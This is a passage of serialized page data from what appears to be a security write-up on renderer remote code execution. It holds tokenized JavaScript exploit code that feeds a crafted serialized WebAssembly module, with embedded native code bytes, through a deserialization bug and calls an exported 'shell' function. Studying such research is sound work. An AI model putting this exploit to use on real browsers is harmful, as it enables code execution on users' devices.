type":29,"value":54365},{"type":23,"tag":141,"props":135247,"children":135248},{"style":154},[135249],{"type":29,"value":480},{"type":23,"tag":141,"props":135251,"children":135252},{"style":472},[135253],{"type":29,"value":687},{"type":23,"tag":141,"props":135255,"children":135256},{"style":154},[135257],{"type":29,"value":480},{"type":23,"tag":141,"props":135259,"children":135260},{"style":472},[135261],{"type":29,"value":16786},{"type":23,"tag":141,"props":135263,"children":135264},{"style":154},[135265],{"type":29,"value":480},{"type":23,"tag":141,"props":135267,"children":135268},{"style":472},[135269],{"type":29,"value":131983},{"type":23,"tag":141,"props":135271,"children":135272},{"style":154},[135273],{"type":29,"value":480},{"type":23,"tag":141,"props":135275,"children":135276},{"style":472},[135277],{"type":29,"value":132154},{"type":23,"tag":141,"props":135279,"children":135280},{"style":154},[135281],{"type":29,"value":480},{"type":23,"tag":141,"props":135283,"children":135284},{"style":472},[135285],{"type":29,"value":132163},{"type":23,"tag":141,"props":135287,"children":135288},{"style":154},[135289],{"type":29,"value":480},{"type":23,"tag":141,"props":135291,"children":135292},{"style":472},[135293],{"type":29,"value":132172},{"type":23,"tag":141,"props":135295,"children":135296},{"style":154},[135297],{"type":29,"value":480},{"type":23,"tag":141,"props":135299,"children":135300},{"style":472},[135301],{"type":29,"value":132172},{"type":23,"tag":141,"props":135303,"children":135304},{"style":154},[135305],{"type":29,"value":2168},{"type":23,"tag":141,"props":135307,"children":135308},{"class":143,"line":218},[135309,135313,135317,135321,135325,135329,135333,135337,135341,135345,135349,135353,135357,135361,135365,135369],{"type":23,"tag":141,"props":135310,"children":135311},{"style":472},[135312],{"type":29,"value":132682},{"type":23,"tag":141,"props":135314,"children":135315},{"style":154},[135316],{"type":29,"value":480},{"type":23,"tag":141,"props":135318,"children":135319},{"style":472},[135320],{"type":29,"value":2698},{"type":23,"tag":141,"props":135322,"children":135323},{"style":154},[135324],{"type":29,"value":480},{"type":23,"tag":141,"props":135326,"children":135327},{"style":472},[135328],{"type":29,"value":87738},{"type":23,"tag":141,"props":135330,"children":135331},{"style":154},[135332],{"type":29,"value":480},{"type":23,"tag":141,"props":135334,"children":135335},{"style":472},[135336],{"type":29,"value":16205},{"type":23,"tag":141,"props":135338,"children":135339},{"style":154},[135340],{"type":29,"value":480},{"type":23,"tag":141,"props":135342,"children":135343},{"style":472},[135344],{"type":29,"value":687},{"type":23,"tag":141,"props":135346,"children":135347},{"style":154},[135348],{"type":29,"value":480},{"type":23,"tag":141,"props":135350,"children":135351},{"style":472},[135352],{"type":29,"value":1049},{"type":23,"tag":141,"props":135354,"children":135355},{"style":154},[135356],{"type":29,"value":480},{"type":23,"tag":141,"props":135358,"children":135359},{"style":472},[135360],{"type":29,"value":2698},{"type":23,"tag":141,"props":135362,"children":135363},{"style":154},[135364],{"type":29,"value":480},{"type":23,"tag":141,"props":135366,"children":135367},{"style":472},[135368],{"type":29,"value":132248},{"type":23,"tag":141,"props":135370,"children":135371},{"style":154},[135372],{"type":29,"value":2168},{"type":23,"tag":141,"props":135374,"children":135375},{"class":143,"line":227},[135376],{"type":23,"tag":141,"props":135377,"children":135378},{"style":154},[135379],{"type":29,"value":132969},{"type":23,"tag":141,"props":135381,"children":135382},{"class":143,"line":241},[135383,135387,135391,135395,135399,135403,135407,135411,135415,135419],{"type":23,"tag":141,"props":135384,"children":135385},{"style":449},[135386],{"type":29,"value":135066},{"type":23,"tag":141,"props":135388,"children":135389},{"style":750},[135390],{"type":29,"value":70107},{"type":23,"tag":141,"props":135392,"children":135393},{"style":160},[135394],{"type":29,"value":1674},{"type":23,"tag":141,"props":135396,"children":135397},{"style":449},[135398],{"type":29,"value":30401},{"type":23,"tag":141,"props":135400,"children":135401},{"style":750},[135402],{"type":29,"value":132283},{"type":23,"tag":141,"props":135404,"children":135405},{"style":154},[135406],{"type":29,"value":322},{"type":23,"tag":141,"props":135408,"children":135409},{"style":184},[135410],{"type":29,"value":84404},{"type":23,"tag":141,"props":135412,"children":135413},{"style":154},[135414],{"type":29,"value":192},{"type":23,"tag":141,"props":135416,"children":135417},{"style":750},[135418],{"type":29,"value":132300},{"type":23,"tag":141,"props":135420,"children":135421},{"style":154},[135422],{"type":29,"value":2496},{"type":23,"tag":141,"props":135424,"children":135425},{"class":143,"line":262},[135426,135430,135434,135438,135442,135446,135450,135454,135458,135462],{"type":23,"tag":141,"props":135427,"children":135428},{"style":449},[135429],{"type":29,"value":135066},{"type":23,"tag":141,"props":135431,"children":135432},{"style":750},[135433],{"type":29,"value":132316},{"type":23,"tag":141,"props":135435,"children":135436},{"style":160},[135437],{"type":29,"value":1674},{"type":23,"tag":141,"props":135439,"children":135440},{"style":449},[135441],{"type":29,"value":30401},{"type":23,"tag":141,"props":135443,"children":135444},{"style":750},[135445],{"type":29,"value":132283},{"type":23,"tag":141,"props":135447,"children":135448},{"style":154},[135449],{"type":29,"value":322},{"type":23,"tag":141,"props":135451,"children":135452},{"style":184},[135453],{"type":29,"value":132337},{"type":23,"tag":141,"props":135455,"children":135456},{"style":154},[135457],{"type":29,"value":192},{"type":23,"tag":141,"props":135459,"children":135460},{"style":750},[135461],{"type":29,"value":132346},{"type":23,"tag":141,"props":135463,"children":135464},{"style":154},[135465],{"type":29,"value":2496},{"type":23,"tag":141,"props":135467,"children":135468},{"class":143,"line":271},[135469,135473,135477,135481,135485,135489,135493,135497,135501],{"type":23,"tag":141,"props":135470,"children":135471},{"style":449},[135472],{"type":29,"value":135066},{"type":23,"tag":141,"props":135474,"children":135475},{"style":750},[135476],{"type":29,"value":78494},{"type":23,"tag":141,"props":135478,"children":135479},{"style":160},[135480],{"type":29,"value":1674},{"type":23,"tag":141,"props":135482,"children":135483},{"style":750},[135484],{"type":29,"value":132316},{"type":23,"tag":141,"props":135486,"children":135487},{"style":154},[135488],{"type":29,"value":322},{"type":23,"tag":141,"props":135490,"children":135491},{"style":750},[135492],{"type":29,"value":36357},{"type":23,"tag":141,"props":135494,"children":135495},{"style":154},[135496],{"type":29,"value":322},{"type":23,"tag":141,"props":135498,"children":135499},{"style":750},[135500],{"type":29,"value":132386},{"type":23,"tag":141,"props":135502,"children":135503},{"style":154},[135504],{"type":29,"value":1684},{"type":23,"tag":141,"props":135506,"children":135507},{"class":143,"line":293},[135508],{"type":23,"tag":141,"props":135509,"children":135510},{"emptyLinePlaceholder":15},[135511],{"type":29,"value":719},{"type":23,"tag":141,"props":135513,"children":135514},{"class":143,"line":801},[135515],{"type":23,"tag":141,"props":135516,"children":135517},{"style":443},[135518],{"type":29,"value":135519}," // %WasmTierUpFunction(func);\n",{"type":23,"tag":141,"props":135521,"children":135522},{"class":143,"line":810},[135523,135528,135532,135536,135540,135544,135548,135552,135556,135560,135564,135568,135572,135576],{"type":23,"tag":141,"props":135524,"children":135525},{"style":148},[135526],{"type":29,"value":135527}," for",{"type":23,"tag":141,"props":135529,"children":135530},{"style":154},[135531],{"type":29,"value":1220},{"type":23,"tag":141,"props":135533,"children":135534},{"style":449},[135535],{"type":29,"value":10467},{"type":23,"tag":141,"props":135537,"children":135538},{"style":750},[135539],{"type":29,"value":2058},{"type":23,"tag":141,"props":135541,"children":135542},{"style":160},[135543],{"type":29,"value":1674},{"type":23,"tag":141,"props":135545,"children":135546},{"style":472},[135547],{"type":29,"value":1707},{"type":23,"tag":141,"props":135549,"children":135550},{"style":154},[135551],{"type":29,"value":15903},{"type":23,"tag":141,"props":135553,"children":135554},{"style":750},[135555],{"type":29,"value":2404},{"type":23,"tag":141,"props":135557,"children":135558},{"style":160},[135559],{"type":29,"value":7395},{"type":23,"tag":141,"props":135561,"children":135562},{"style":472},[135563],{"type":29,"value":134988},{"type":23,"tag":141,"props":135565,"children":135566},{"style":154},[135567],{"type":29,"value":15903},{"type":23,"tag":141,"props":135569,"children":135570},{"style":750},[135571],{"type":29,"value":2404},{"type":23,"tag":141,"props":135573,"children":135574},{"style":160},[135575],{"type":29,"value":49748},{"type":23,"tag":141,"props":135577,"children":135578},{"style":154},[135579],{"type":29,"value":13480},{"type":23,"tag":141,"props":135581,"children":135582},{"class":143,"line":824},[135583,135588],{"type":23,"tag":141,"props":135584,"children":135585},{"style":184},[135586],{"type":29,"value":135587}," func",{"type":23,"tag":141,"props":135589,"children":135590},{"style":154},[135591],{"type":29,"value":1305},{"type":23,"tag":141,"props":135593,"children":135594},{"class":143,"line":839},[135595],{"type":23,"tag":141,"props":135596,"children":135597},{"style":154},[135598],{"type":29,"value":854},{"type":23,"tag":141,"props":135600,"children":135601},{"class":143,"line":848},[135602],{"type":23,"tag":141,"props":135603,"children":135604},{"emptyLinePlaceholder":15},[135605],{"type":29,"value":719},{"type":23,"tag":141,"props":135607,"children":135608},{"class":143,"line":2304},[135609,135613,135617,135621,135625,135629,135633],{"type":23,"tag":141,"props":135610,"children":135611},{"style":449},[135612],{"type":29,"value":6530},{"type":23,"tag":141,"props":135614,"children":135615},{"style":750},[135616],{"type":29,"value":134422},{"type":23,"tag":141,"props":135618,"children":135619},{"style":160},[135620],{"type":29,"value":1674},{"type":23,"tag":141,"props":135622,"children":135623},{"style":184},[135624],{"type":29,"value":134431},{"type":23,"tag":141,"props":135626,"children":135627},{"style":154},[135628],{"type":29,"value":192},{"type":23,"tag":141,"props":135630,"children":135631},{"style":750},[135632],{"type":29,"value":132346},{"type":23,"tag":141,"props":135634,"children":135635},{"style":154},[135636],{"type":29,"value":2496},{"type":23,"tag":141,"props":135638,"children":135639},{"class":143,"line":2313},[135640,135644,135648,135652,135656,135660,135664,135668,135672,135676],{"type":23,"tag":141,"props":135641,"children":135642},{"style":750},[135643],{"type":29,"value":134467},{"type":23,"tag":141,"props":135645,"children":135646},{"style":160},[135647],{"type":29,"value":1674},{"type":23,"tag":141,"props":135649,"children":135650},{"style":154},[135651],{"type":29,"value":1220},{"type":23,"tag":141,"props":135653,"children":135654},{"style":148},[135655],{"type":29,"value":31385},{"type":23,"tag":141,"props":135657,"children":135658},{"style":750},[135659],{"type":29,"value":134422},{"type":23,"tag":141,"props":135661,"children":135662},{"style":154},[135663],{"type":29,"value":322},{"type":23,"tag":141,"props":135665,"children":135666},{"style":184},[135667],{"type":29,"value":56045},{"type":23,"tag":141,"props":135669,"children":135670},{"style":154},[135671],{"type":29,"value":134496},{"type":23,"tag":141,"props":135673,"children":135674},{"style":750},[135675],{"type":29,"value":37623},{"type":23,"tag":141,"props":135677,"children":135678},{"style":154},[135679],{"type":29,"value":1684},{"type":23,"tag":141,"props":135681,"children":135682},{"class":143,"line":2335},[135683,135687,135691,135695,135699,135703],{"type":23,"tag":141,"props":135684,"children":135685},{"style":750},[135686],{"type":29,"value":100429},{"type":23,"tag":141,"props":135688,"children":135689},{"style":154},[135690],{"type":29,"value":322},{"type":23,"tag":141,"props":135692,"children":135693},{"style":184},[135694],{"type":29,"value":100438},{"type":23,"tag":141,"props":135696,"children":135697},{"style":154},[135698],{"type":29,"value":192},{"type":23,"tag":141,"props":135700,"children":135701},{"style":750},[135702],{"type":29,"value":7760},{"type":23,"tag":141,"props":135704,"children":135705},{"style":154},[135706],{"type":29,"value":2496},{"type":23,"tag":141,"props":135708,"children":135709},{"class":143,"line":2343},[135710],{"type":23,"tag":141,"props":135711,"children":135712},{"emptyLinePlaceholder":15},[135713],{"type":29,"value":719},{"type":23,"tag":141,"props":135715,"children":135716},{"class":143,"line":2352},[135717,135721,135726,135730,135734,135738,135742,135746],{"type":23,"tag":141,"props":135718,"children":135719},{"style":449},[135720],{"type":29,"value":6530},{"type":23,"tag":141,"props":135722,"children":135723},{"style":750},[135724],{"type":29,"value":135725}," result_bytes",{"type":23,"tag":141,"props":135727,"children":135728},{"style":160},[135729],{"type":29,"value":1674},{"type":23,"tag":141,"props":135731,"children":135732},{"style":449},[135733],{"type":29,"value":30401},{"type":23,"tag":141,"props":135735,"children":135736},{"style":184},[135737],{"type":29,"value":131952},{"type":23,"tag":141,"props":135739,"children":135740},{"style":154},[135741],{"type":29,"value":192},{"type":23,"tag":141,"props":135743,"children":135744},{"style":750},[135745],{"type":29,"value":7760},{"type":23,"tag":141,"props":135747,"children":135748},{"style":154},[135749],{"type":29,"value":2496},{"type":23,"tag":141,"props":135751,"children":135752},{"class":143,"line":2421},[135753,135757,135761,135765,135769,135773,135777,135781,135785,135789,135793,135797,135801,135805,135809],{"type":23,"tag":141,"props":135754,"children":135755},{"style":750},[135756],{"type":29,"value":100429},{"type":23,"tag":141,"props":135758,"children":135759},{"style":154},[135760],{"type":29,"value":322},{"type":23,"tag":141,"props":135762,"children":135763},{"style":184},[135764],{"type":29,"value":100438},{"type":23,"tag":141,"props":135766,"children":135767},{"style":154},[135768],{"type":29,"value":192},{"type":23,"tag":141,"props":135770,"children":135771},{"style":828},[135772],{"type":29,"value":132519},{"type":23,"tag":141,"props":135774,"children":135775},{"style":160},[135776],{"type":29,"value":7581},{"type":23,"tag":141,"props":135778,"children":135779},{"style":750},[135780],{"type":29,"value":135725},{"type":23,"tag":141,"props":135782,"children":135783},{"style":154},[135784],{"type":29,"value":322},{"type":23,"tag":141,"props":135786,"children":135787},{"style":184},[135788],{"type":29,"value":132536},{"type":23,"tag":141,"props":135790,"children":135791},{"style":154},[135792],{"type":29,"value":192},{"type":23,"tag":141,"props":135794,"children":135795},{"style":828},[135796],{"type":29,"value":132545},{"type":23,"tag":141,"props":135798,"children":135799},{"style":154},[135800],{"type":29,"value":1748},{"type":23,"tag":141,"props":135802,"children":135803},{"style":160},[135804],{"type":29,"value":3058},{"type":23,"tag":141,"props":135806,"children":135807},{"style":828},[135808],{"type":29,"value":132558},{"type":23,"tag":141,"props":135810,"children":135811},{"style":154},[135812],{"type":29,"value":2496},{"type":23,"tag":141,"props":135814,"children":135815},{"class":143,"line":2429},[135816],{"type":23,"tag":141,"props":135817,"children":135818},{"style":154},[135819],{"type":29,"value":100470},{"type":23,"tag":32,"props":135821,"children":135822},{},[135823],{"type":29,"value":135824},"We get the serialized bytes:",{"type":23,"tag":32,"props":135826,"children":135827},{},[135828],{"type":23,"tag":2591,"props":135829,"children":135832},{"alt":135830,"src":135831},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":32,"props":135834,"children":135835},{},[135836,135838,135843],{"type":29,"value":135837},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":38,"props":135839,"children":135841},{"className":135840},[],[135842],{"type":29,"value":131415},{"type":29,"value":114},{"type":23,"tag":131,"props":135845,"children":135847},{"code":135846,"language":34086,"meta":7,"className":34084,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[135848],{"type":23,"tag":38,"props":135849,"children":135850},{"__ignoreMap":7},[135851,135874,135901,136120,136187,136194,136221,136432,136683,136934,137158,137340,137561,137639,137646,137693,137736,137772,137815,137854,137881],{"type":23,"tag":141,"props":135852,"children":135853},{"class":143,"line":144},[135854,135858,135862,135866,135870],{"type":23,"tag":141,"props":135855,"children":135856},{"style":154},[135857],{"type":29,"value":192},{"type":23,"tag":141,"props":135859,"children":135860},{"style":449},[135861],{"type":29,"value":34616},{"type":23,"tag":141,"props":135863,"children":135864},{"style":154},[135865],{"type":29,"value":38168},{"type":23,"tag":141,"props":135867,"children":135868},{"style":449},[135869],{"type":29,"value":13498},{"type":23,"tag":141,"props":135871,"children":135872},{"style":154},[135873],{"type":29,"value":1951},{"type":23,"tag":141,"props":135875,"children":135876},{"class":143,"line":180},[135877,135881,135885,135889,135893,135897],{"type":23,"tag":141,"props":135878,"children":135879},{"style":449},[135880],{"type":29,"value":34659},{"type":23,"tag":141,"props":135882,"children":135883},{"style":750},[135884],{"type":29,"value":131939},{"type":23,"tag":141,"props":135886,"children":135887},{"style":160},[135888],{"type":29,"value":1674},{"type":23,"tag":141,"props":135890,"children":135891},{"style":449},[135892],{"type":29,"value":30401},{"type":23,"tag":141,"props":135894,"children":135895},{"style":184},[135896],{"type":29,"value":131952},{"type":23,"tag":141,"props":135898,"children":135899},{"style":154},[135900],{"type":29,"value":131957},{"type":23,"tag":141,"props":135902,"children":135903},{"class":143,"line":205},[135904,135908,135912,135916,135920,135924,135928,135932,135936,135940,135944,135948,135952,135956,135960,135964,135968,135972,135976,135980,135984,135988,135992,135996,136000,136004,136008,136012,136016,136020,136024,136028,136032,136036,136040,136044,136048,136052,136056,136060,136064,136068,136072,136076,136080,136084,136088,136092,136096,136100,136104,136108,136112,136116],{"type":23,"tag":141,"props":135905,"children":135906},{"style":472},[135907],{"type":29,"value":132682},{"type":23,"tag":141,"props":135909,"children":135910},{"style":154},[135911],{"type":29,"value":480},{"type":23,"tag":141,"props":135913,"children":135914},{"style":472},[135915],{"type":29,"value":131974},{"type":23,"tag":141,"props":135917,"children":135918},{"style":154},[135919],{"type":29,"value":480},{"type":23,"tag":141,"props":135921,"children":135922},{"style":472},[135923],{"type":29,"value":131983},{"type":23,"tag":141,"props":135925,"children":135926},{"style":154},[135927],{"type":29,"value":480},{"type":23,"tag":141,"props":135929,"children":135930},{"style":472},[135931],{"type":29,"value":131992},{"type":23,"tag":141,"props":135933,"children":135934},{"style":154},[135935],{"type":29,"value":480},{"type":23,"tag":141,"props":135937,"children":135938},{"style":472},[135939],{"type":29,"value":687},{"type":23,"tag":141,"props":135941,"children":135942},{"style":154},[135943],{"type":29,"value":480},{"type":23,"tag":141,"props":135945,"children":135946},{"style":472},[135947],{"type":29,"value":2698},{"type":23,"tag":141,"props":135949,"children":135950},{"style":154},[135951],{"type":29,"value":480},{"type":23,"tag":141,"props":135953,"children":135954},{"style":472},[135955],{"type":29,"value":2698},{"type":23,"tag":141,"props":135957,"children":135958},{"style":154},[135959],{"type":29,"value":480},{"type":23,"tag":141,"props":135961,"children":135962},{"style":472},[135963],{"type":29,"value":2698},{"type":23,"tag":141,"props":135965,"children":135966},{"style":154},[135967],{"type":29,"value":480},{"type":23,"tag":141,"props":135969,"children":135970},{"style":472},[135971],{"type":29,"value":687},{"type":23,"tag":141,"props":135973,"children":135974},{"style":154},[135975],{"type":29,"value":480},{"type":23,"tag":141,"props":135977,"children":135978},{"style":472},[135979],{"type":29,"value":16205},{"type":23,"tag":141,"props":135981,"children":135982},{"style":154},[135983],{"type":29,"value":480},{"type":23,"tag":141,"props":135985,"children":135986},{"style":472},[135987],{"type":29,"value":687},{"type":23,"tag":141,"props":135989,"children":135990},{"style":154},[135991],{"type":29,"value":480},{"type":23,"tag":141,"props":135993,"children":135994},{"style":472},[135995],{"type":29,"value":132057},{"type":23,"tag":141,"props":135997,"children":135998},{"style":154},[135999],{"type":29,"value":480},{"type":23,"tag":141,"props":136001,"children":136002},{"style":472},[136003],{"type":29,"value":2698},{"type":23,"tag":141,"props":136005,"children":136006},{"style":154},[136007],{"type":29,"value":480},{"type":23,"tag":141,"props":136009,"children":136010},{"style":472},[136011],{"type":29,"value":2698},{"type":23,"tag":141,"props":136013,"children":136014},{"style":154},[136015],{"type":29,"value":480},{"type":23,"tag":141,"props":136017,"children":136018},{"style":472},[136019],{"type":29,"value":15972},{"type":23,"tag":141,"props":136021,"children":136022},{"style":154},[136023],{"type":29,"value":480},{"type":23,"tag":141,"props":136025,"children":136026},{"style":472},[136027],{"type":29,"value":1049},{"type":23,"tag":141,"props":136029,"children":136030},{"style":154},[136031],{"type":29,"value":480},{"type":23,"tag":141,"props":136033,"children":136034},{"style":472},[136035],{"type":29,"value":687},{"type":23,"tag":141,"props":136037,"children":136038},{"style":154},[136039],{"type":29,"value":480},{"type":23,"tag":141,"props":136041,"children":136042},{"style":472},[136043],{"type":29,"value":2698},{"type":23,"tag":141,"props":136045,"children":136046},{"style":154},[136047],{"type":29,"value":480},{"type":23,"tag":141,"props":136049,"children":136050},{"style":472},[136051],{"type":29,"value":53150},{"type":23,"tag":141,"props":136053,"children":136054},{"style":154},[136055],{"type":29,"value":480},{"type":23,"tag":141,"props":136057,"children":136058},{"style":472},[136059],{"type":29,"value":54365},{"type":23,"tag":141,"props":136061,"children":136062},{"style":154},[136063],{"type":29,"value":480},{"type":23,"tag":141,"props":136065,"children":136066},{"style":472},[136067],{"type":29,"value":687},{"type":23,"tag":141,"props":136069,"children":136070},{"style":154},[136071],{"type":29,"value":480},{"type":23,"tag":141,"props":136073,"children":136074},{"style":472},[136075],{"type":29,"value":16786},{"type":23,"tag":141,"props":136077,"children":136078},{"style":154},[136079],{"type":29,"value":480},{"type":23,"tag":141,"props":136081,"children":136082},{"style":472},[136083],{"type":29,"value":131983},{"type":23,"tag":141,"props":136085,"children":136086},{"style":154},[136087],{"type":29,"value":480},{"type":23,"tag":141,"props":136089,"children":136090},{"style":472},[136091],{"type":29,"value":132154},{"type":23,"tag":141,"props":136093,"children":136094},{"style":154},[136095],{"type":29,"value":480},{"type":23,"tag":141,"props":136097,"children":136098},{"style":472},[136099],{"type":29,"value":132163},{"type":23,"tag":141,"props":136101,"children":136102},{"style":154},[136103],{"type":29,"value":480},{"type":23,"tag":141,"props":136105,"children":136106},{"style":472},[136107],{"type":29,"value":132172},{"type":23,"tag":141,"props":136109,"children":136110},{"style":154},[136111],{"type":29,"value":480},{"type":23,"tag":141,"props":136113,"children":136114},{"style":472},[136115],{"type":29,"value":132172},{"type":23,"tag":141,"props":136117,"children":136118},{"style":154},[136119],{"type":29,"value":2168},{"type":23,"tag":141,"props":136121,"children":136122},{"class":143,"line":218},[136123,136127,136131,136135,136139,136143,136147,136151,136155,136159,136163,136167,136171,136175,136179,136183],{"type":23,"tag":141,"props":136124,"children":136125},{"style":472},[136126],{"type":29,"value":132682},{"type":23,"tag":141,"props":136128,"children":136129},{"style":154},[136130],{"type":29,"value":480},{"type":23,"tag":141,"props":136132,"children":136133},{"style":472},[136134],{"type":29,"value":2698},{"type":23,"tag":141,"props":136136,"children":136137},{"style":154},[136138],{"type":29,"value":480},{"type":23,"tag":141,"props":136140,"children":136141},{"style":472},[136142],{"type":29,"value":87738},{"type":23,"tag":141,"props":136144,"children":136145},{"style":154},[136146],{"type":29,"value":480},{"type":23,"tag":141,"props":136148,"children":136149},{"style":472},[136150],{"type":29,"value":16205},{"type":23,"tag":141,"props":136152,"children":136153},{"style":154},[136154],{"type":29,"value":480},{"type":23,"tag":141,"props":136156,"children":136157},{"style":472},[136158],{"type":29,"value":687},{"type":23,"tag":141,"props":136160,"children":136161},{"style":154},[136162],{"type":29,"value":480},{"type":23,"tag":141,"props":136164,"children":136165},{"style":472},[136166],{"type":29,"value":1049},{"type":23,"tag":141,"props":136168,"children":136169},{"style":154},[136170],{"type":29,"value":480},{"type":23,"tag":141,"props":136172,"children":136173},{"style":472},[136174],{"type":29,"value":2698},{"type":23,"tag":141,"props":136176,"children":136177},{"style":154},[136178],{"type":29,"value":480},{"type":23,"tag":141,"props":136180,"children":136181},{"style":472},[136182],{"type":29,"value":132248},{"type":23,"tag":141,"props":136184,"children":136185},{"style":154},[136186],{"type":29,"value":2168},{"type":23,"tag":141,"props":136188,"children":136189},{"class":143,"line":227},[136190],{"type":23,"tag":141,"props":136191,"children":136192},{"style":154},[136193],{"type":29,"value":132969},{"type":23,"tag":141,"props":136195,"children":136196},{"class":143,"line":241},[136197,136201,136205,136209,136213,136217],{"type":23,"tag":141,"props":136198,"children":136199},{"style":449},[136200],{"type":29,"value":34659},{"type":23,"tag":141,"props":136202,"children":136203},{"style":750},[136204],{"type":29,"value":123752},{"type":23,"tag":141,"props":136206,"children":136207},{"style":160},[136208],{"type":29,"value":1674},{"type":23,"tag":141,"props":136210,"children":136211},{"style":449},[136212],{"type":29,"value":30401},{"type":23,"tag":141,"props":136214,"children":136215},{"style":184},[136216],{"type":29,"value":131952},{"type":23,"tag":141,"props":136218,"children":136219},{"style":154},[136220],{"type":29,"value":131957},{"type":23,"tag":141,"props":136222,"children":136223},{"class":143,"line":262},[136224,136229,136233,136237,136241,136245,136249,136253,136257,136262,136266,136271,136275,136280,136284,136289,136293,136297,136301,136305,136309,136313,136317,136321,136325,136330,136334,136339,136343,136348,136352,136356,136360,136364,136368,136372,136376,136380,136384,136388,136392,136396,136400,136404,136408,136412,136416,136420,136424,136428],{"type":23,"tag":141,"props":136225,"children":136226},{"style":472},[136227],{"type":29,"value":136228}," 146",{"type":23,"tag":141,"props":136230,"children":136231},{"style":154},[136232],{"type":29,"value":480},{"type":23,"tag":141,"props":136234,"children":136235},{"style":472},[136236],{"type":29,"value":17098},{"type":23,"tag":141,"props":136238,"children":136239},{"style":154},[136240],{"type":29,"value":480},{"type":23,"tag":141,"props":136242,"children":136243},{"style":472},[136244],{"type":29,"value":133021},{"type":23,"tag":141,"props":136246,"children":136247},{"style":154},[136248],{"type":29,"value":480},{"type":23,"tag":141,"props":136250,"children":136251},{"style":472},[136252],{"type":29,"value":133030},{"type":23,"tag":141,"props":136254,"children":136255},{"style":154},[136256],{"type":29,"value":480},{"type":23,"tag":141,"props":136258,"children":136259},{"style":472},[136260],{"type":29,"value":136261},"174",{"type":23,"tag":141,"props":136263,"children":136264},{"style":154},[136265],{"type":29,"value":480},{"type":23,"tag":141,"props":136267,"children":136268},{"style":472},[136269],{"type":29,"value":136270},"122",{"type":23,"tag":141,"props":136272,"children":136273},{"style":154},[136274],{"type":29,"value":480},{"type":23,"tag":141,"props":136276,"children":136277},{"style":472},[136278],{"type":29,"value":136279},"171",{"type":23,"tag":141,"props":136281,"children":136282},{"style":154},[136283],{"type":29,"value":480},{"type":23,"tag":141,"props":136285,"children":136286},{"style":472},[136287],{"type":29,"value":136288},"151",{"type":23,"tag":141,"props":136290,"children":136291},{"style":154},[136292],{"type":29,"value":480},{"type":23,"tag":141,"props":136294,"children":136295},{"style":472},[136296],{"type":29,"value":95152},{"type":23,"tag":141,"props":136298,"children":136299},{"style":154},[136300],{"type":29,"value":480},{"type":23,"tag":141,"props":136302,"children":136303},{"style":472},[136304],{"type":29,"value":2698},{"type":23,"tag":141,"props":136306,"children":136307},{"style":154},[136308],{"type":29,"value":480},{"type":23,"tag":141,"props":136310,"children":136311},{"style":472},[136312],{"type":29,"value":2698},{"type":23,"tag":141,"props":136314,"children":136315},{"style":154},[136316],{"type":29,"value":480},{"type":23,"tag":141,"props":136318,"children":136319},{"style":472},[136320],{"type":29,"value":2698},{"type":23,"tag":141,"props":136322,"children":136323},{"style":154},[136324],{"type":29,"value":480},{"type":23,"tag":141,"props":136326,"children":136327},{"style":472},[136328],{"type":29,"value":136329},"39",{"type":23,"tag":141,"props":136331,"children":136332},{"style":154},[136333],{"type":29,"value":480},{"type":23,"tag":141,"props":136335,"children":136336},{"style":472},[136337],{"type":29,"value":136338},"61",{"type":23,"tag":141,"props":136340,"children":136341},{"style":154},[136342],{"type":29,"value":480},{"type":23,"tag":141,"props":136344,"children":136345},{"style":472},[136346],{"type":29,"value":136347},"60",{"type":23,"tag":141,"props":136349,"children":136350},{"style":154},[136351],{"type":29,"value":480},{"type":23,"tag":141,"props":136353,"children":136354},{"style":472},[136355],{"type":29,"value":95152},{"type":23,"tag":141,"props":136357,"children":136358},{"style":154},[136359],{"type":29,"value":480},{"type":23,"tag":141,"props":136361,"children":136362},{"style":472},[136363],{"type":29,"value":2698},{"type":23,"tag":141,"props":136365,"children":136366},{"style":154},[136367],{"type":29,"value":480},{"type":23,"tag":141,"props":136369,"children":136370},{"style":472},[136371],{"type":29,"value":39319},{"type":23,"tag":141,"props":136373,"children":136374},{"style":154},[136375],{"type":29,"value":480},{"type":23,"tag":141,"props":136377,"children":136378},{"style":472},[136379],{"type":29,"value":15972},{"type":23,"tag":141,"props":136381,"children":136382},{"style":154},[136383],{"type":29,"value":480},{"type":23,"tag":141,"props":136385,"children":136386},{"style":472},[136387],{"type":29,"value":2698},{"type":23,"tag":141,"props":136389,"children":136390},{"style":154},[136391],{"type":29,"value":480},{"type":23,"tag":141,"props":136393,"children":136394},{"style":472},[136395],{"type":29,"value":2698},{"type":23,"tag":141,"props":136397,"children":136398},{"style":154},[136399],{"type":29,"value":480},{"type":23,"tag":141,"props":136401,"children":136402},{"style":472},[136403],{"type":29,"value":2698},{"type":23,"tag":141,"props":136405,"children":136406},{"style":154},[136407],{"type":29,"value":480},{"type":23,"tag":141,"props":136409,"children":136410},{"style":472},[136411],{"type":29,"value":2698},{"type":23,"tag":141,"props":136413,"children":136414},{"style":154},[136415],{"type":29,"value":480},{"type":23,